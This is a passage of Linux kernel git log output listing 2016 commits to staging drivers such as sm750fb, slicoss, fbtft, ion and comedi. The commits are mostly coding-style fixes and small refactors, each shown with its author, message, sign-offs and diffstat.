lines Split lines over 80 characters and separated assignments. Signed-off-by: Stefan Wolz Signed-off-by: Christian Halder Signed-off-by: Sebastian Handwerker Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/sm750_hw.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 878336c3362d0948f0fa91c3457af29e8880cfa2 Author: Stefan Wolz Date: Thu Jun 23 14:00:12 2016 +0200 sm750fb/sm750_hw.c: fixed comments Fixed multiline comments to meet style standards, fixed typos and split comment lines over 80 characters. Signed-off-by: Stefan Wolz Signed-off-by: Christian Halder Signed-off-by: Sebastian Handwerker Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/sm750_hw.c | 48 +++++++++++++++++++++----------------- 1 file changed, 26 insertions(+), 22 deletions(-) commit 1f24c865ea8539bf18fdef2bc7a0ce7c2974a087 Author: Stefan Wolz Date: Thu Jun 23 14:00:11 2016 +0200 sm750fb/sm750_hw.c: fixed whitespacing Deleted unnecessary newlines and added whitespaces around operators. Signed-off-by: Stefan Wolz Signed-off-by: Christian Halder Signed-off-by: Sebastian Handwerker Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/sm750_hw.c | 26 +++++++++----------------- 1 file changed, 9 insertions(+), 17 deletions(-) commit bfbeb71c092f4baab5d0e3ea24fb49bd758f95e6 Author: Stefan Wolz Date: Thu Jun 23 14:00:10 2016 +0200 sm750fb/sm750_hw.c: corrected alignment Fixed alignment in multiline declarations. Signed-off-by: Stefan Wolz Signed-off-by: Christian Halder Signed-off-by: Sebastian Handwerker Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/sm750_hw.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit c9d67dc41d2e808d0a4ed9d5ba48974dba7868e0 Author: yeongjun Kim Date: Wed Jun 15 00:36:07 2016 +0900 staging: sm750fb: fix block comments errors in ddk750_display.c WARNING: Block comments use * on subsequent lines WARNING: Block comments use a trailing */ on a separate line WARNING: Block comments use * on subsequent lines WARNING: Block comments use a trailing */ on a separate line Signed-off-by: yeongjun Kim Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_display.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit d943005ac0902dade9d6641b3d9d5c959bc77a07 Author: Moshe Green Date: Mon Jun 6 22:04:32 2016 +0300 Staging: sm750fb: fix block comment coding style issue in ddk750_chip.c This is a patch to the ddk750_chip.c file that fixes up two block comment coding style warnings found by the checkpatch.pl tool Signed-off-by: Moshe Green Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_chip.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit f90416df64a156cfe0708e1305dce5f23399cd18 Author: Moshe Green Date: Sun Jun 5 22:09:24 2016 +0300 Staging: sm750fb: fix line length coding style issue in ddk750_chip.c This is a patch to the ddk750_chip.c file that fixes up a line length warning found by the checkpatch.pl tool Signed-off-by: Moshe Green Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_chip.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 83d628315d56bf78971235babf27db38df21eec8 Author: Moshe Green Date: Wed Jun 1 23:34:21 2016 +0300 Staging: sm750fb: fix a line length coding style warning in ddk750_chip.c This is a patch to the ddk750_chip.c file that fixes up a line length warning found by the checkpatch.pl tool. Signed-off-by: Moshe Green Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_chip.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 02875bd93220a0ff209437b7ca1286aaa2b475dc Author: Samuele Baisi Date: Tue Jul 5 13:33:59 2016 +0200 Staging: gdm724x: gdm_tty: Fixed a checkpatch check issue. Removed a blankline after an opening bracket. Signed-off-by: Samuele Baisi Acked-by: Luis de Bethencourt Signed-off-by: Greg Kroah-Hartman drivers/staging/gdm724x/gdm_tty.c | 1 - 1 file changed, 1 deletion(-) commit bf5cad613a627aec6d2a64fc294595cdd7c6a045 Author: Binoy Jayan Date: Wed Jun 15 11:10:03 2016 +0530 staging: gdm724x: Replace semaphore netlink with mutex Replace semaphore netlink_mutex with mutex. Semaphores are going away in the future. Signed-off-by: Binoy Jayan Reviewed-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/staging/gdm724x/netlink_k.c | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) commit 49bb9af0783143d2b0d419069cf331542326ec6d Author: Luis de Bethencourt Date: Tue May 31 15:39:13 2016 +0100 staging: gdm724x: gdm_usb: Remove ignored value The value assigned to ret will be overwritten before it could be read in a future iteration of the loop. Removing the unnecessary assignment. Signed-off-by: Luis de Bethencourt Signed-off-by: Greg Kroah-Hartman drivers/staging/gdm724x/gdm_usb.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit de55b42d8d0d5853b0d2118ca8741d0dc232ea0b Author: Philippe Reynes Date: Sat Jul 16 01:13:35 2016 +0200 net: ethernet: octeon: use phy_ethtool_{get|set}_link_ksettings There are two generics functions phy_ethtool_{get|set}_link_ksettings, so we can use them instead of defining the same code in the driver. There was a check on CAP_NET_ADMIN in cvm_oct_set_settings, but this check is already done in dev_ethtool, so no need to repeat it before calling the generic function. Signed-off-by: Philippe Reynes Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-mdio.c | 23 ++--------------------- 1 file changed, 2 insertions(+), 21 deletions(-) commit 5d99db13b77e301fcd839310d47392053db35562 Author: Philippe Reynes Date: Sat Jul 16 01:13:34 2016 +0200 net: ethernet: octeon: use phydev from struct net_device The private structure contain a pointer to phydev, but the structure net_device already contain such pointer. So we can remove the pointer phydev in the private structure, and update the driver to use the one contained in struct net_device. Signed-off-by: Philippe Reynes Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-mdio.c | 48 +++++++++++++------------------- drivers/staging/octeon/ethernet-rgmii.c | 2 +- drivers/staging/octeon/ethernet.c | 12 ++++---- drivers/staging/octeon/octeon-ethernet.h | 1 - 4 files changed, 26 insertions(+), 37 deletions(-) commit 0048a44c36db045071dcb1bb4844140cd3712e1d Author: Aaro Koskinen Date: Wed Jun 29 15:20:46 2016 +0300 staging: octeon: delete redundant log message There will be a separate banner message after pow0 is set up (or an error message if it failed). Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet.c | 1 - 1 file changed, 1 deletion(-) commit 9eca4993dcfa17d21f28fae773c21b04d47b117d Author: Aaro Koskinen Date: Wed Jun 29 15:20:45 2016 +0300 staging: octeon: check for pow0 before calling interface helper Check for pow0 port first before calling the interface helper. This avoids the following error log when setting up pow0 interface: cvmx_helper_get_interface_num: Illegal IPD port number Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-util.h | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 0ad1ed99d6ce86bc76b8768a49a65155281aad44 Author: Aaro Koskinen Date: Wed Jun 29 15:20:44 2016 +0300 staging: octeon: validate interface before calling INDEX Some helper functions call INDEX before checking if the interface is valid. Since pow0 is not a real interface, we get the following errors: cvmx_helper_get_interface_index_num: Illegal IPD port number Fix by using INDEX only when needed with real interfaces. Signed-off-by: Aaro Koskinen Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 473256b0aea4e69a99afb21c9243e5cd544ac9ad Author: Lino Sanfilippo Date: Fri Jul 22 23:09:19 2016 +0200 staging: slicoss: simplify struct for statistics Merge several structures for statistics to one structure and remove unnecessary union nesting. Signed-off-by: Lino Sanfilippo Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slic.h | 18 +++++++++ drivers/staging/slicoss/slichw.h | 79 --------------------------------------- drivers/staging/slicoss/slicoss.c | 70 ++++++++++++++-------------------- 3 files changed, 47 insertions(+), 120 deletions(-) commit fdb7777512785f90e712a7cb665a9adbaf673bd0 Author: Lino Sanfilippo Date: Fri Jul 22 23:09:18 2016 +0200 staging: slicoss: improve implementation concerning the shared memory Remove the volatile specifiers of struct slic_shmem. Furthermore store the bus addresses for the isr pointer, link status and statistics separately and access the upper and lower word of these addresses by means of [lower|upper]_32_bits(). By doing this take the endianness into account. Signed-off-by: Lino Sanfilippo Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slic.h | 18 ++- drivers/staging/slicoss/slicoss.c | 267 ++++++++++++++++++-------------------- 2 files changed, 136 insertions(+), 149 deletions(-) commit c6d6a9a076968633313f61e8067edbe37290c270 Author: Lino Sanfilippo Date: Fri Jul 22 23:09:17 2016 +0200 staging: slicoss: dont use a structure but offsets for register accesses Use the new register accessors that use offsets instead of the slic_regs structure to read/write registers. Since not longer needed remove the structure completley. Signed-off-by: Lino Sanfilippo Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slic.h | 1 - drivers/staging/slicoss/slichw.h | 219 -------------------------- drivers/staging/slicoss/slicoss.c | 323 ++++++++++++++------------------------ 3 files changed, 120 insertions(+), 423 deletions(-) commit bc894318e8ea9fbfd2cffe3f003d6e3c50112f3d Author: Lino Sanfilippo Date: Fri Jul 22 23:09:16 2016 +0200 staging: slicoss: avoid PCI write posting Introduce the function slic_flush_write() which reads from the HOSTID register and can be used to avoid PCI write posting. Use the function at several critical places in the code. Signed-off-by: Lino Sanfilippo Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slic.h | 5 +++++ drivers/staging/slicoss/slicoss.c | 19 ++++++++++++++++++- 2 files changed, 23 insertions(+), 1 deletion(-) commit b200da6744addf5c1ed7dbb8a70cfff8c4e2368e Author: Lino Sanfilippo Date: Fri Jul 22 23:09:15 2016 +0200 staging: slicoss: introduce register accessors that use register offsets Introduce accessor functions that read and write registers by using a register offset. This is in preparation to replace the register addressing by means of the slic_regs struct with an addressing by means of offsets. Signed-off-by: Lino Sanfilippo Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slic.h | 24 ++++++++ drivers/staging/slicoss/slichw.h | 113 ++++++++++++++++++++++++++++++++++++++ drivers/staging/slicoss/slicoss.c | 1 + 3 files changed, 138 insertions(+) commit a5e32e74076b8dc0bd05ba011b9ba4903001f89d Author: Lino Sanfilippo Date: Fri Jul 22 23:09:14 2016 +0200 staging: slicoss: start tx queue when interface is brought up There is no reason to delay tx queue activation until a link is detected. So start the queue when the interface is brought up and stop it when the interface is brought down. Signed-off-by: Lino Sanfilippo Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slicoss.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 6d5f2ea7418d054721f8331ec2c2c0825e0ff52e Author: Lino Sanfilippo Date: Fri Jul 22 23:09:13 2016 +0200 staging: slicoss: ensure mapping of io-memory is uncached Writes to registers should be done uncached for various reasons. Ensure this by replacing ioremap() with ioremap_nocache(). Signed-off-by: Lino Sanfilippo Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slicoss.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit da169754096c48281c75cbc5fd21e62e2cbb780b Author: Lino Sanfilippo Date: Fri Jul 22 23:09:12 2016 +0200 staging: slicoss: notifiy network stack about change in link state Notify the network stack about link states via netif_carrier_[off|on](). Also set the link state off initially and when the interface is brought down. Signed-off-by: Lino Sanfilippo Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slicoss.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 7ed4eb5168325e52b5d6be277555b36877955c66 Author: Lino Sanfilippo Date: Fri Jul 15 00:13:56 2016 +0200 staging: slicoss: handle allocation failure in slic_init_adapter The memory allocation in slic_init_adapter() can fail. Return an error in this case and unwind properly. Also make sure that the allocated memory is properly freed in case of an error in the calling probe() function. By doing this also replace the alloc() followed by memset to zero the memory with a zalloc() version. Signed-off-by: Lino Sanfilippo Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slicoss.c | 38 ++++++++++++++++++++++---------------- 1 file changed, 22 insertions(+), 16 deletions(-) commit f56edd42ee69ea73e1ca755614ed6c0e1a6ccef8 Author: Anson Jacob Date: Tue Aug 16 14:56:12 2016 -0400 staging: dgnc: fix 'line over 80 characters' fix checkpatch.pl warning about 'line over 80 characters'. Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_driver.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ea40d674e5e6e008f7f157dc675004498dc8d143 Author: Prit Raj Date: Sun Jul 31 08:35:16 2016 +0530 staging: fbtft: This patch fixes the checkpatch.pl warning WARNING: Statements should start on a tabstop Signed-off-by: Prit Raj Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_agm1264k-fl.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1c41494adf7aa6c9ca309fcdc558d7fb47903538 Author: Ming Yang Date: Sun Jul 17 19:13:18 2016 -0700 Staging: fbtft: fixed unsigned type warnings Replace unsigned by unsigned int in fbtft driver. Issue found by checkpatch. Signed-off-by: Ming Yang Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fb_ili9320.c | 4 ++-- drivers/staging/fbtft/fb_ili9325.c | 10 +++++----- drivers/staging/fbtft/fb_pcd8544.c | 4 ++-- drivers/staging/fbtft/fb_ssd1289.c | 2 +- drivers/staging/fbtft/fb_ssd1351.c | 2 +- drivers/staging/fbtft/fb_tls8204.c | 2 +- drivers/staging/fbtft/fb_uc1611.c | 12 ++++++------ drivers/staging/fbtft/fb_watterott.c | 8 ++++---- drivers/staging/fbtft/fbtft-core.c | 24 ++++++++++++------------ drivers/staging/fbtft/fbtft.h | 26 +++++++++++++------------- drivers/staging/fbtft/fbtft_device.c | 22 +++++++++++----------- 11 files changed, 58 insertions(+), 58 deletions(-) commit 175f5a4130b20e25b34d9f9b0bb4cfe80ee49d88 Author: Michal Suchanek Date: Thu Jun 9 15:08:42 2016 +0000 staging: fbtft: do not allocate huge txbuf txbuflen can be set to arbitrary value by user and it is also set automagically to the maximum transfer size of the SPI master controller. Do not allocate the buffer when larger than vmem. When my SPI master controller reports maximum transfer size 16M the probe of fbtft fails. Signed-off-by: Michal Suchanek Acked-by: Noralf Trønnes Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fbtft-core.c | 2 ++ 1 file changed, 2 insertions(+) commit d2805d7fff5ba1db3accd5ef010f9fdbb1925f08 Author: Chen Feng Date: Sat Jul 30 10:09:11 2016 +0800 staging: ion: remove __GFP_NOWARN when use low order gfp flags It's useful to show the current memory in detail when alloc failed. And, there may be a lot of high order alloc failed, just show memory when an order 0 alloc failed. Signed-off-by: Chen Feng Acked-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_system_heap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e7f63771b60e7802c5a9b437c5ab1a8e33a0bb35 Author: Chen Feng Date: Thu May 19 11:03:16 2016 +0800 ION: Sys_heap: Add cached pool to spead up cached buffer alloc Add ion cached pool in system heap. This patch add a cached pool in system heap. It has a great improvement of alloc for cached buffer. With memory pressue alloc test 800MB in userspace used iontest. The result avg is 577ms. Without patch it's avg is about 883ms. v1: Makes the cached buffer zeroed before going to pool v2: Add cached param in pool to distinguish wheather need to flush cache at a fresh alloc. Rework the shrink function. Signed-off-by: Chen Feng Signed-off-by: Xia Qing Reviewed-by: Fu Jun Acked-by: Laura Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_page_pool.c | 10 +- drivers/staging/android/ion/ion_priv.h | 5 +- drivers/staging/android/ion/ion_system_heap.c | 183 +++++++++++++++++--------- 3 files changed, 133 insertions(+), 65 deletions(-) commit 1f0c9efe5627ed12b469dae7434795ed625936bf Author: Kevin McKinney Date: Wed May 25 23:22:07 2016 -0400 Staging: wlan-ng: fix comparison to NULL issue. This patch fixes comparison to NULL could be written "wlandev" found by checkpatch.pl tool. Signed-off-by: Kevin McKinney Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/prism2usb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d03c075dda97884bb79c206fc9804f07017b7bd4 Author: Kevin McKinney Date: Wed May 25 23:22:06 2016 -0400 Staging: wlan-ng: fix unnecessary parentheses. This patch fixes Unnecessary parentheses around interface->dev found by checkpatch.pl tool. Signed-off-by: Kevin McKinney Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/prism2usb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8d215eadf6728ce31a84e830a5b7bf8c284b39bf Author: Kevin McKinney Date: Wed May 25 23:22:05 2016 -0400 Staging: wlan-ng: fix alignment not matching. This patch fixes alignment should match open parenthesis found by checkpatch.pl tool in prism2usb.c. Signed-off-by: Kevin McKinney Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/prism2usb.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 410478415c10777ee86aef50a998ab3db4d1fe73 Author: YU Bo Date: Wed May 11 22:29:44 2016 +0800 Staging: wlan-ng: Fix trailing */ in block comments. Fix checkpatch.pl warning: WARNING: Block comments use a trailing */ on a separate line. Signed-off-by: Bo Yu Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/prism2mib.c | 506 ++++++++++++++++++------------------ 1 file changed, 253 insertions(+), 253 deletions(-) commit ef6687c627a5338f1fbea134efca6e7f479cd70c Author: Luis de Bethencourt Date: Mon Jun 27 14:00:20 2016 +0100 staging: wilc1000: fix error handling in wilc_debugfs_init() We can just ignore the return value from debugfs_create_dir() and debugfs_create_file(). The second one already interanlly checks the dentry created by the first before creating the file. debugfs was written so it would be easy to use, no need for error checking. Signed-off-by: Luis de Bethencourt Suggested-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/wilc_debugfs.c | 29 +++++------------------------ 1 file changed, 5 insertions(+), 24 deletions(-) commit eeeb5fb9323c75663da5a8d1d068cd7176aa77b4 Author: Joshua Houghton Date: Mon Aug 1 19:17:25 2016 +0000 drivers: wilc1000: remove references to semaphores * Update the comments that refer to semaphores * Remove redundant includes to semphore.h Signed-off-by: Joshua Houghton Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/TODO | 1 - drivers/staging/wilc1000/linux_wlan.c | 1 - drivers/staging/wilc1000/wilc_wfi_netdevice.h | 2 +- drivers/staging/wilc1000/wilc_wlan.h | 2 +- drivers/staging/wilc1000/wilc_wlan_if.h | 1 - 5 files changed, 2 insertions(+), 5 deletions(-) commit aec8755d9d7a72a2fb74dfcb95d709710d5be44a Author: Anthony Sheldon Date: Fri Aug 19 16:42:13 2016 +0100 staging: i4l: Reformat braces around else As suggested by Documentation/CodingStyle move braces onto same line as else. Signed-off-by: Anthony Sheldon Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/pcbit/capi.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 4ea288e11163aec8688509e42eecd114daba1e1d Author: Sudip Mukherjee Date: Sat Jun 11 22:10:53 2016 +0100 staging: i4l: icn: remove braces Braces are not required in a single statement block. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/icn/icn.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit ee05e5f7113ea0b0db7eff7011a534c92fec2648 Author: Sudip Mukherjee Date: Sat Jun 11 22:10:51 2016 +0100 staging: i4l: icn: donot assign in if statement It is not the kernel coding style to make assignments in the if statement and checkpatch was warning us about it. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/icn/icn.c | 33 ++++++++++++++++++++++----------- 1 file changed, 22 insertions(+), 11 deletions(-) commit 3fe7034e8a7ba8a564d90edd517c65e24e3df715 Author: Sudip Mukherjee Date: Sat Jun 11 22:10:50 2016 +0100 staging: i4l: icn: do not use return as a function return is not a function so no need to use the parenthesis. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/icn/icn.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit e9c43a75cda0e23910c77e585c8397efeeaddda8 Author: Muhammad Falak R Wani Date: Wed May 11 18:59:53 2016 +0530 staging: i4l: icn: use setup_timer() and mod_timer(). Use setup_timer() instead of init_timer(), being the preferred/standard way to set a timer up. Also, quoting the mod_timer() function comment: -> mod_timer() is a more efficient way to update the expire field of an active timer (if the timer is inactive it will be activated). Use setup_timer and mod_timer to setup and arm a timer, to make the code cleaner and easier to read. Signed-off-by: Muhammad Falak R Wani Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/icn/icn.c | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) commit 1735d9e97c66f867d3a45a2303bb3c59398d20f8 Author: Muhammad Falak R Wani Date: Wed May 11 19:25:01 2016 +0530 staging: i4l: pcbit: layer2: use setup_timer() and mod_timer(). Use setup_timer() instead of init_timer(), being the preferred/standard way to set a timer up. Also, quoting the mod_timer() function comment: -> mod_timer() is a more efficient way to update the expire field of an active timer (if the timer is inactive it will be activated). Use setup_timer and mod_timer to setup and arm a timer, to make the code cleaner and easier to read. Signed-off-by: Muhammad Falak R Wani Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/pcbit/layer2.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit 8df7a2221ccfcfdb25c2d4668cd51d25e9b3e134 Author: Muhammad Falak R Wani Date: Wed May 11 19:25:00 2016 +0530 staging: i4l: pcbit: edss1: use setup_timer() and mod_timer(). Use setup_timer() instead of init_timer(), being the preferred/standard way to set a timer up. Also, quoting the mod_timer() function comment: -> mod_timer() is a more efficient way to update the expire field of an active timer (if the timer is inactive it will be activated). Use setup_timer and mod_timer to setup and arm a timer, to make the code cleaner and easier to read. Signed-off-by: Muhammad Falak R Wani Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/pcbit/edss1.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit fd2b75d88811b4fb25406cd60a0fb3c2644e785d Author: Muhammad Falak R Wani Date: Wed May 11 19:24:59 2016 +0530 staging: i4l: pcbit: drv: use setup_timer() and mod_timer(). Use setup_timer() instead of init_timer(), being the preferred/standard way to set a timer up. Also, quoting the mod_timer() function comment: -> mod_timer() is a more efficient way to update the expire field of an active timer (if the timer is inactive it will be activated). Use setup_timer and mod_timer to setup and arm a timer, to make the code cleaner and easier to read. Signed-off-by: Muhammad Falak R Wani Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/pcbit/drv.c | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) commit 2061d410616785e68c3f53d48f3df3ad7564d2cb Author: Ravishankar Karkala Mallikarjunayya Date: Tue Jun 21 12:14:44 2016 +0530 Staging: comedi: s626: fix line over 80 characters issue This fixes up a line over 80 characters issues found by the checkpatch.pl tool. Signed-off-by: Ravishankar Karkala Mallikarjunayya Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/s626.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 62190d498c1d1cee970176840f24822fc14d27d1 Author: Cheah Kok Cheong Date: Fri Jul 22 23:29:39 2016 +0800 staging: comedi: drivers: replace le16_to_cpu() with usb_endpoint_maxp() Use macro introduced in commit 939f325f4a0f ("usb: add usb_endpoint_maxp() macro") Signed-off-by: Cheah Kok Cheong Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/dt9812.c | 4 ++-- drivers/staging/comedi/drivers/ni_usb6501.c | 4 ++-- drivers/staging/comedi/drivers/vmk80xx.c | 12 ++++++------ 3 files changed, 10 insertions(+), 10 deletions(-) commit 49c9d6ad68aed76314fc69d3c07e25079e37bc04 Author: Nayeemahmed Badebade Date: Sat Jul 30 22:08:15 2016 +0530 staging: comedi/drivers: Fixed sparse warnings Fixed below sparse warnings in dt2811.c warning: symbol 'dt2811_clk_dividers' was not declared. Should it be static? warning: symbol 'dt2811_clk_multipliers' was not declared. Should it be static? Signed-off-by: Nayeemahmed Badebade Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/dt2811.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 27fa082b33b92285b8f38e73c838f224d2038c7b Author: H Hartley Sweeten Date: Mon Jun 20 11:39:36 2016 -0700 staging: comedi: ni_at_a2150: fix block comments Fix the checkpatch.pl issues: WARNING: Block comments use * on subsequent lines WARNING: Block comments use a trailing */ on a separate line Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_at_a2150.c | 103 ++++++++++++--------------- 1 file changed, 45 insertions(+), 58 deletions(-) commit 8c0740cade3ce290bcbcef524a285863f6de0c94 Author: H Hartley Sweeten Date: Mon Jun 20 11:39:35 2016 -0700 staging: comedi: ni_pcidio: fix block comments Fix the checkpatch.pl issues: WARNING: Block comments use * on subsequent lines WARNING: Block comments use a trailing */ on a separate line Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_pcidio.c | 95 +++++++++++++++--------------- 1 file changed, 48 insertions(+), 47 deletions(-) commit 28e0721e3367d227fdf00fdbac1a54416cf88222 Author: H Hartley Sweeten Date: Mon Jun 20 11:39:34 2016 -0700 staging: comedi: ni_atmio16d: fix block comments Fix the checkpatch.pl issues: WARNING: Block comments use * on subsequent lines Move the configuration options comment into the comedi driver comment block. That's were they typically are listed. Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_atmio16d.c | 106 ++++++++++++--------------- 1 file changed, 47 insertions(+), 59 deletions(-) commit 44a678b9665bba452458427400a30ac5d3ebd00d Author: H Hartley Sweeten Date: Mon Jun 20 11:39:33 2016 -0700 staging: comedi: ni_atmio: fix block comments Fix the checkpatch.pl issues: WARNING: Block comments use * on subsequent lines Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_atmio.c | 165 ++++++++++++++---------------- 1 file changed, 78 insertions(+), 87 deletions(-) commit 26994fd520871103e961717726dc25a07a831e53 Author: H Hartley Sweeten Date: Mon Jun 20 11:39:32 2016 -0700 staging: comedi: ni_daq_dio24: fix block comments Fix the checkpatch.pl issues: WARNING: Block comments use * on subsequent lines Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_daq_dio24.c | 58 +++++++++++++-------------- 1 file changed, 29 insertions(+), 29 deletions(-) commit a3310f385f8bb87866bc8990d2fb8318cb0ce666 Author: H Hartley Sweeten Date: Mon Jun 20 11:39:31 2016 -0700 staging: comedi: ni_mio_cs: fix block comments Fix the checkpatch.pl issues: WARNING: Block comments use * on subsequent lines Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_mio_cs.c | 67 +++++++++++++++--------------- 1 file changed, 33 insertions(+), 34 deletions(-) commit 8b1bb11d63b8f8a159ecd90bdcae6cf6bd99a943 Author: H Hartley Sweeten Date: Mon Jun 20 11:39:30 2016 -0700 staging: comedi: ni_pcimio: fix block comments Fix the checkpatch.pl issues: WARNING: Block comments use * on subsequent lines Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_pcimio.c | 216 ++++++++++++++--------------- 1 file changed, 106 insertions(+), 110 deletions(-) commit 15203e5a79e5988b7bd7a3542ee8f0c83b37b8c7 Author: H Hartley Sweeten Date: Mon Jun 20 11:39:29 2016 -0700 staging: comedi: ni_670x: fix block comment issues Fix the checkpatch.pl issues: WARNING: Block comments use * on subsequent lines Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/ni_670x.c | 62 +++++++++++++++----------------- 1 file changed, 28 insertions(+), 34 deletions(-) commit b4a7c742f41764b152e7f4c0e4bb090b3e612152 Author: H Hartley Sweeten Date: Mon Jun 20 11:39:28 2016 -0700 staging: comedi: das08_cs: fix block comments Fix the checkpatch.pl issue: WARNING: Block comments use * on subsequent lines Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/das08_cs.c | 73 +++++++++++++++---------------- 1 file changed, 36 insertions(+), 37 deletions(-) commit 741a9c1c3a047667d0f969096bacea8e93febe6d Author: H Hartley Sweeten Date: Mon Jun 20 11:12:33 2016 -0700 staging: comedi: addi_apci_3501: add a comedi driver comment block This comment block is used to automatically generate documentation in Comedi and Comedilib. Signed-off-by: H Hartley Sweeten Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers/addi_apci_3501.c | 27 +++++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit a6672530f6fc57e182a6f66d2017589b5b056994 Author: H Hartley Sweeten Date: Mon Jun 20 11:12:32 2016 -0700 staging: comedi: addi_apci_3501: remove timer/counter subdevice support This driver is for a simple 4/8 channel analog output board with 2 isolated digital inputs and 2 isolated digital outputs. Support for these subdevices is provided by the driver. The boards also has a watchdog timer that can be used to reset the analog outputs. It can also be used as a general purpose 12-bit timer when the watchdog function is not necessary. The current support code for this subdevice is broken. It does not follow the 